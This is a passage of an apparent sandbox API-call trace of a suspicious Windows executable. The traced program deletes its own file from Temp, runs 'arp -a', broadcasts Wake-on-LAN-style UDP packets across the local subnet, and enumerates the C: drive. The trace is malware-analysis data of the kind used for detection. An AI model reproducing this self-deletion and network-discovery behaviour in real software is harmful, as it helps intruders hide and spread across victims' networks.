ftCreationTime.dwLowDateTime=0x19ca400, ftCreationTime.dwHighDateTime=0x1d5eccc, ftLastAccessTime.dwLowDateTime=0x19ca400, ftLastAccessTime.dwHighDateTime=0x1d5eccc, ftLastWriteTime.dwLowDateTime=0x41cf5e0, ftLastWriteTime.dwHighDateTime=0x1d5eccc, nFileSizeHigh=0x0, nFileSizeLow=0x7600)) returned 1 [0109.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ee080) returned 1 [0109.431] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe", nBufferLength=0x105, lpBuffer=0x1edc80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe", lpFilePart=0x0) returned 0x31 [0109.431] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\tav1geqs.exe")) returned 1 [0109.558] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0109.558] CreatePipe (in: hReadPipe=0x1ede70, hWritePipe=0x1ede68, lpPipeAttributes=0x1edd60, nSize=0x0 | out: hReadPipe=0x1ede70*=0x4d8, hWritePipe=0x1ede68*=0x7d4) returned 1 [0109.558] GetCurrentProcess () returned 0xffffffffffffffff [0109.558] GetCurrentProcess () returned 0xffffffffffffffff [0109.558] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x4d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1edeb0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1edeb0*=0x7d8) returned 1 [0109.558] CloseHandle (hObject=0x4d8) returned 1 [0109.558] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0109.558] CoTaskMemAlloc (cb=0x20e) returned 0x1a6017e0 [0109.558] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a6017e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0109.558] CoTaskMemFree (pv=0x1a6017e0) [0109.558] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"arp\" -a", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edd40*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7d4, hStdError=0x0), lpProcessInformation=0x231f240 | out: lpCommandLine="\"arp\" -a", lpProcessInformation=0x231f240*(hProcess=0x7dc, hThread=0x4d8, dwProcessId=0x798, dwThreadId=0xd34)) returned 1 [0109.566] CloseHandle (hObject=0x7d4) returned 1 [0109.567] GetConsoleOutputCP () returned 0x0 [0109.567] GetFileType (hFile=0x7d8) returned 0x3 [0109.567] CloseHandle (hObject=0x4d8) returned 1 [0109.567] ReadFile (in: hFile=0x7d8, lpBuffer=0x231fba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1edf98, lpOverlapped=0x0 | out: lpBuffer=0x231fba0*, lpNumberOfBytesRead=0x1edf98*=0x179, lpOverlapped=0x0) returned 1 [0109.800] ReadFile (in: hFile=0x7d8, lpBuffer=0x231fba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1edf98, lpOverlapped=0x0 | out: lpBuffer=0x231fba0, lpNumberOfBytesRead=0x1edf98*=0x0, lpOverlapped=0x0) returned 0 [0109.806] CloseHandle (hObject=0x7dc) returned 1 [0109.832] WSASocketW (af=2, type=2, protocol=17, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7dc [0109.843] sendto (s=0x7dc, buf=0x23356e8*, len=102, flags=0, to=0x2336460*(sa_family=2, sin_port=0x3, sin_addr="192.168.0.255"), tolen=16) returned 102 [0109.845] WSASocketW (af=2, type=2, protocol=17, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d8 [0109.845] sendto (s=0x4d8, buf=0x23466c0*, len=102, flags=0, to=0x2346c70*(sa_family=2, sin_port=0x3, sin_addr="192.168.0.255"), tolen=16) returned 102 [0109.896] GetAddrInfoW (in: pNodeName="...1", pServiceName=0x0, pHints=0x1edfa8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edef0 | out: ppResult=0x1edef0*=0x0) returned 11004 [0112.206] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2afc, dwLanguageId=0x0, lpBuffer=0x1edc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="The requested name is valid, but no data of the requested type was found.\r\n") returned 0x4b [0112.230] GetAddrInfoW (in: pNodeName="...1", pServiceName=0x0, pHints=0x1edfa8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edef0 | out: ppResult=0x1edef0*=0x0) returned 11004 [0114.523] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2afc, dwLanguageId=0x0, lpBuffer=0x1edc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="The requested name is valid, but no data of the requested type was found.\r\n") returned 0x4b [0114.527] GetAddrInfoW (in: pNodeName="...1", pServiceName=0x0, pHints=0x1edfa8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edef0 | out: ppResult=0x1edef0*=0x0) returned 11004 [0116.821] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2afc, dwLanguageId=0x0, lpBuffer=0x1edc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="The requested name is valid, but no data of the requested type was found.\r\n") returned 0x4b [0116.825] GetAddrInfoW (in: pNodeName="...1", pServiceName=0x0, pHints=0x1edfa8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edef0 | out: ppResult=0x1edef0*=0x0) returned 11004 [0119.114] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2afc, dwLanguageId=0x0, lpBuffer=0x1edc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="The requested name is valid, but no data of the requested type was found.\r\n") returned 0x4b [0119.121] GetAddrInfoW (in: pNodeName="...1", pServiceName=0x0, pHints=0x1edfa8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edef0 | out: ppResult=0x1edef0*=0x0) returned 11004 [0121.407] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2afc, dwLanguageId=0x0, lpBuffer=0x1edc30, nSize=0x101, Arguments=0x0 | out: lpBuffer="The requested name is valid, but no data of the requested type was found.\r\n") returned 0x4b [0121.629] GetLogicalDrives () returned 0x4 [0121.632] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1eda60, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ee0d0) returned 1 [0121.632] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1ee1b0 | out: lpFileInformation=0x1ee1b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0121.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ee090) returned 1 [0121.678] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1edb20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edf60) returned 1 [0121.678] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1ee040 | out: lpFileInformation=0x1ee040*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0121.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edf20) returned 1 [0121.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edeb0) returned 1 [0121.718] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.718] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ed940, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.720] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x1edb50 | out: lpFindFileData=0x1edb50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.721] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0121.722] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0121.722] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd48da600, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd48da600, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd48da600, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0121.723] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0121.723] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7e1ef9c0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e1ef9c0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf67ec0e0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0121.723] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7e261de0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e261de0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf6b58080, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0121.723] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0121.723] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x277bdc50, ftLastAccessTime.dwHighDateTime=0x1d5e889, ftLastWriteTime.dwLowDateTime=0x277bdc50, ftLastWriteTime.dwHighDateTime=0x1d5e889, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0121.724] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x962285b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x962285b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0121.724] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x438c37b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x438c37b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0121.724] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x22182fa0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x2221b520, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2221b520, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0121.724] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7e1a3700, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0xf5f54d60, ftLastAccessTime.dwHighDateTime=0x1d2fc7c, ftLastWriteTime.dwLowDateTime=0xf5f54d60, ftLastWriteTime.dwHighDateTime=0x1d2fc7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0121.724] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2329edc0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x2329edc0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0121.725] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0121.725] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edba0 | out: lpFindFileData=0x1edba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0121.725] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede00) returned 1 [0121.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1eddc0) returned 1 [0121.726] GetFullPathNameW (in: lpFileName="C:\\bootmgr", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\bootmgr", lpFilePart=0x0) returned 0xa [0121.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.726] GetFileAttributesExW (in: lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a)) returned 1 [0121.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.728] GetFullPathNameW (in: lpFileName="C:\\bootmgr", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\bootmgr", lpFilePart=0x0) returned 0xa [0121.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.729] GetFileAttributesExW (in: lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a)) returned 1 [0121.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.729] GetFullPathNameW (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x0) returned 0xf [0121.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.729] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd48da600, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd48da600, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd48da600, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.730] GetFullPathNameW (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x0) returned 0xf [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.730] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xd48da600, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd48da600, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd48da600, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0121.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.730] GetFullPathNameW (in: lpFileName="C:\\hiberfil.sys", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\hiberfil.sys", lpFilePart=0x0) returned 0xf [0121.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.730] GetFileAttributesExW (in: lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0121.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.731] FindFirstFileW (in: lpFileName="C:\\hiberfil.sys", lpFindFileData=0x1edb80 | out: lpFindFileData=0x1edb80*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7e1ef9c0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e1ef9c0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf67ec0e0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.731] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.731] GetFullPathNameW (in: lpFileName="C:\\hiberfil.sys", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\hiberfil.sys", lpFilePart=0x0) returned 0xf [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.731] GetFileAttributesExW (in: lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0121.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.731] FindFirstFileW (in: lpFileName="C:\\hiberfil.sys", lpFindFileData=0x1edb80 | out: lpFindFileData=0x1edb80*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7e1ef9c0, ftCreationTime.dwHighDateTime=0x1d2f1ba, ftLastAccessTime.dwLowDateTime=0x7e1ef9c0, ftLastAccessTime.dwHighDateTime=0x1d2f1ba, ftLastWriteTime.dwLowDateTime=0xf67ec0e0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.732] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.732] GetFullPathNameW (in: lpFileName="C:\\pagefile.sys", nBufferLength=0x105, lpBuffer=0x1eda50, lpFilePart=0x0 | out: lpBuffer="C:\\pagefile.sys", lpFilePart=0x0) returned 0xf [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.732] GetFileAttributesExW (in: lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), fInfoLevelId=0x0, lpFileInformation=0x1edf70 | out: lpFileInformation=0x1edf70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0121.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ede50) returned 1 [0121.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede90) returned 1 [0121.732] FindFirstFileW (in: lpFileName="C:\\pagefile.sys", lpFindFileData=0x1edb80 | out: 